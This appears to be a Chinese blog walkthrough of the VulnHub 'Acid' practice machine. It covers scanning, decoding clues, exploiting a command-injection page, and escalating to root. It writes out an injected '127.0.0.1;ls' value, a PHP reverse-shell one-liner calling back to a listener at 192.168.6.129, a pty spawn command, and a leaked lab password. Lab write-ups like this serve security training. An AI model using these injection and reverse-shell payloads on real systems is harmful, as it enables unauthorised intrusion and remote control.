vulnhub-ACID

最新推荐文章于 2024-06-07 10:05:34 发布

北极之北.

最新推荐文章于 2024-06-07 10:05:34 发布

阅读量2.2k

点赞数

文章标签：安全 linux 渗透测试

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_50683638/article/details/121810255

版权

靶机：acid（https://download.vulnhub.com/acid/Acid.rar）网络模式：nat

扫描主机

在这里插入图片描述

扫描端口33447/tcp，Apache2.4.10

在这里插入图片描述

目录扫描

在这里插入图片描述

浏览网站，查看源码底下看到一串十六进制编码

先ascii转换，在base64转码得到 wow.jpg

在这里插入图片描述

访问wow.jpg报错404想到上面我们扫描目录images

在这里插入图片描述

将图片保存，记事本打开，发现一串数字

在这里插入图片描述

先ascii转码，在MD5转换得到63425

在这里插入图片描述

但暂时并没有什么账号或者需要登陆的地方，我们用dirbuster扫描（kali自带）

在这里插入图片描述

依次访问cake.php,一个登陆界面,且标题变成magic_box

在这里插入图片描述

hacked.php

在这里插入图片描述

好像都没什么，我们访问下Magic_Box,说明有这个目录

在这里插入图片描述

继续扫描

在这里插入图片描述

访问command.php,存在命令执行漏洞

在这里插入图片描述

输入`127.0.0.1;ls`看到一个tail.php

在这里插入图片描述

shell反弹

在command.php界面输入127.0.0.1然后抓包

在这里插入图片描述

然后发送到Decoder编码`;php -r '$sock=fsockopen("192.168.6.129",6666);exec("/bin/sh -i <&3 >&3 2>&3");'`

在这里插入图片描述

将编码后的内容输入在127.0.0.1后面然后发送到Repeater 点击send

在这里插入图片描述

kali监听

在这里插入图片描述

输入su命令报错，python调用`python -c 'import pty;pty.spawn("/bin/bash")'`

在这里插入图片描述

查看/etc/passwd

在这里插入图片描述

看到acid和saman

在这里插入图片描述

看到一个流量包

在这里插入图片描述

`scp /sbin/raw_vs_isi/hint.pcapng root@192.168.6.129:/root/`

但是不知道为什么开了ssh服务依旧报错，而且我密码一直错误

在这里插入图片描述

提权`su saman`密码其实就是command.php页面的1337hax0r

在这里插入图片描述

拿到root权限查看到flag

在这里插入图片描述

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
vulnhub-ACID

靶机：acid（https://download.vulnhub.com/acid/Acid.rar）网络模式：nat扫描主机扫描端口33447/tcp，Apache2.4.10####### 目录扫描浏览网站，查看源码底下看到一串十六进制编码先ascii转换，在base64转码得到 wow.jpg访问wow.jpg报错404想到上面我们扫描目录images将图片保存，记事本打开，发现一串数字先ascii转码，在MD5转换得到63425但暂时并没有什么账号或者需要登陆
复制链接

扫一扫

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。